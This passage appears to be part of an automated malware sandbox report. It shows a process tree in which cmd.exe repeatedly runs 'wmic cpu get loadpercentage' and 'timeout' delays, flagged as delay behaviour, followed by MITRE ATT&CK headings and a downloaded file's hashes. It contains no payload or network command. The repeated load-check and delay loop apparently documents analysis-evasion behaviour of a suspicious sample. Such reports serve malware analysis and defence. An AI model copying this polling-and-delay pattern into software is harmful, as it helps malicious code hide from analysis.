C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5008
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4472
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4188
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4372
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3076
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3756
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2580
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1500
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1548
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2276
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1328
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:648
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4728
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5000
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3588
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1860
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3624
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4444
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4860
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1524
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3196
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4488
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82